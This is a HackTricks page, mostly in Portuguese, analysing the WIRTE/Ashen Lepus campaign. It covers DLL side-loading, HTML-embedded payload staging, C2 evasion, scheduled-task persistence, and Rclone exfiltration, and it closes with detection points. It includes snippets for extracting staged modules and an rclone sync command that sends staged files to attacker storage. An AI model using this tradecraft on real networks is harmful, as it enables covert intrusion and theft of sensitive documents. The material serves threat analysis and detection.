Avançado DLL Side-Loading With HTML-Embedded Payload Staging
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Tradecraft Overview
Ashen Lepus (aka WIRTE) aproveitou um padrão repetível que encadeia DLL sideloading, staged HTML payloads e modular .NET backdoors para persistir em redes diplomáticas do Oriente Médio. A técnica é reutilizável por qualquer operador porque depende de:
- Archive-based social engineering: PDFs benignos instruem os alvos a baixar um arquivo RAR de um site de compartilhamento. O arquivo agrupa um visualizador de documentos EXE com aparência legítima, uma DLL maliciosa nomeada como uma biblioteca confiável (e.g.,
netutils.dll,srvcli.dll,dwampi.dll,wtsapi32.dll) e umDocument.pdfde isca. - DLL search order abuse: a vítima clica duas vezes no EXE, o Windows resolve a importação da DLL a partir do diretório atual, e o loader malicioso (AshenLoader) é executado dentro do processo confiável enquanto o PDF isca abre para evitar suspeitas.
- Living-off-the-land staging: cada estágio posterior (AshenStager → AshenOrchestrator → modules) é mantido fora do disco até ser necessário, entregue como blobs criptografados escondidos dentro de respostas HTML que, de outra forma, parecem inofensivas.
Multi-Stage Side-Loading Chain
- Decoy EXE → AshenLoader: o EXE faz side-load de AshenLoader, que realiza host recon, encripta-o com AES-CTR e faz POST dele dentro de parâmetros rotativos tais como
token=,id=,q=ouauth=para caminhos com aparência de API (e.g.,/api/v2/account). - HTML extraction: o C2 só revela o próximo estágio quando o IP do cliente geolocaliza para a região alvo e o
User-Agentcorresponde ao implant, frustrando sandboxes. Quando as checagens passam, o corpo HTTP contém um blob<headerp>...</headerp>com o payload AshenStager encriptado em Base64/AES-CTR. - Second sideload: AshenStager é implantado com outro binário legítimo que importa
wtsapi32.dll. A cópia maliciosa injetada no binário busca mais HTML, desta vez esculpindo<article>...</article>para recuperar AshenOrchestrator. - AshenOrchestrator: um controlador modular .NET que decodifica uma config JSON em Base64. Os campos
tgeauda config são concatenados/hasheados na chave AES, que descriptografaxrk. Os bytes resultantes atuam como chave XOR para cada blob de módulo buscado posteriormente. - Module delivery: cada módulo é descrito através de comentários HTML que redirecionam o parser para uma tag arbitrária, quebrando regras estáticas que procuram apenas por
<headerp>ou<article>. Modules include persistence (PR*), uninstallers (UN*), reconnaissance (SN), screen capture (SCT), and file exploration (FE).
Padrão de Análise de Container HTML
var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
var module = XorBytes(aesBytes, xorKey);
LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));
Mesmo que os defensores bloqueiem ou removam um elemento específico, o operador só precisa mudar a tag indicada no comentário HTML para retomar a entrega.
Auxiliar Rápido de Extração (Python)
import base64, re, requests
html = requests.get(url, headers={"User-Agent": ua}).text
tag = re.search(r"<!--\s*TAG:\s*<(.*?)>\s*-->", html, re.I).group(1)
b64 = re.search(fr"<{tag}>(.*?)</{tag}>", html, re.S | re.I).group(1)
blob = base64.b64decode(b64)
# decrypt blob with AES-CTR, then XOR if required
Paralelos de Evasão de HTML Staging
Recent HTML smuggling research (Talos) highlights payloads hidden as Base64 strings inside <script> blocks in HTML attachments and decoded via JavaScript at runtime. The same trick can be reused for C2 responses: stage encrypted blobs inside a script tag (or other DOM element) and decode them in-memory before AES/XOR, making the page look like ordinary HTML. Talos also shows layered obfuscation (identifier renaming plus Base64/Caesar/AES) inside script tags, which maps cleanly to HTML-staged C2 blobs.
Notas sobre Variantes Recentes (2024-2025)
- Check Point observed WIRTE campaigns in 2024 that still hinged on archive-based sideloading but used
propsys.dll(stagerx64) as the first stage. The stager decodes the next payload with Base64 + XOR (key53), sends HTTP requests with a hardcodedUser-Agent, and extracts encrypted blobs embedded between HTML tags. In one branch, the stage was reconstructed from a long list of embedded IP strings decoded viaRtlIpv4StringToAddressA, then concatenated into the payload bytes. - OWN-CERT documented earlier WIRTE tooling where the side-loaded
wtsapi32.dlldropper protected strings with Base64 + TEA and used the DLL name itself as the decryption key, then XOR/Base64-obfuscated host identification data before sending it to the C2.
Criptografia & Endurecimento do C2
- AES-CTR everywhere: current loaders embed 256-bit keys plus nonces (e.g.,
{9a 20 51 98 ...}) and optionally add an XOR layer using strings such asmsasn1.dllbefore/after decryption. - Variações no material de chave: earlier loaders used Base64 + TEA to protect embedded strings, with the decryption key derived from the malicious DLL name (e.g.,
wtsapi32.dll). - Divisão da infraestrutura + camuflagem por subdomínios: servidores de staging são separados por ferramenta, hospedados em ASNs variados e às vezes fronted por subdomínios com aparência legítima, de modo que queimar uma etapa não expõe o restante.
- Recon smuggling: os dados enumerados agora incluem listagens de Program Files para identificar apps de alto valor e são sempre criptografados antes de sair do host.
- Rotação de URI: parâmetros de query e paths REST giram entre campanhas (
/api/v1/account?token=→/api/v2/account?auth=), invalidando detecções frágeis. - User-Agent pinning + safe redirects: a infraestrutura C2 responde apenas a strings exatas de UA e, caso contrário, redireciona para sites benignos de notícias/saúde para se misturar.
- Entrega condicionada: servidores são geofenced e só respondem a implants reais. Clientes não aprovados recebem HTML não suspeito.
Persistência & Loop de Execução
AshenStager drops scheduled tasks that masquerade as Windows maintenance jobs and execute via svchost.exe, e.g.:
C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender UpdaterC:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services UpdaterC:\Windows\System32\Tasks\Automatic Windows Update
Essas tasks relançam a cadeia de sideloading na inicialização ou em intervalos, garantindo que AshenOrchestrator possa requisitar módulos frescos sem escrever no disco novamente.
Uso de Clientes de Sync Benignos para Exfiltração
Operators stage diplomatic documents inside C:\Users\Public (world-readable and non-suspicious) through a dedicated module, then download the legitimate Rclone binary to synchronize that directory with attacker storage. Unit42 notes this is the first time this actor has been observed using Rclone for exfiltration, aligning with the broader trend of abusing legitimate sync tooling to blend into normal traffic:
- Stage: copy/collect target files into
C:\Users\Public\{campaign}\. - Configure: ship an Rclone config pointing at an attacker-controlled HTTPS endpoint (e.g.,
api.technology-system[.]com). - Sync: run
rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quietso the traffic resembles normal cloud backups.
Because Rclone is widely used for legitimate backup workflows, defenders must focus on anomalous executions (new binaries, odd remotes, or sudden syncing of C:\Users\Public).
Pontos de Detecção
- Alert on signed processes that unexpectedly load DLLs from user-writable paths (Procmon filters +
Get-ProcessMitigation -Module), especially when the DLL names overlap withnetutils,srvcli,dwampi, orwtsapi32. - Inspect suspicious HTTPS responses for large Base64 blobs embedded inside unusual tags or guarded by
<!-- TAG: <xyz> -->comments. - Extend HTML hunting to Base64 strings inside
<script>blocks (HTML smuggling-style staging) that are decoded via JavaScript before AES/XOR processing. - Hunt for scheduled tasks that run
svchost.exewith non-service arguments or point back to dropper directories. - Track C2 redirects that only return payloads for exact
User-Agentstrings and otherwise bounce to legitimate news/health domains. - Monitor for Rclone binaries appearing outside IT-managed locations, new
rclone.conffiles, or sync jobs pulling from staging directories likeC:\Users\Public.
References
- Hamas-Affiliated Ashen Lepus Targets Middle Eastern Diplomatic Entities With New AshTag Malware Suite
- Hidden between the tags: Insights into evasion techniques in HTML smuggling
- Hamas-affiliated Threat Actor WIRTE Continues its Middle East Operations and Moves to Disruptive Activity
- WIRTE: In Search of Lost Time
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


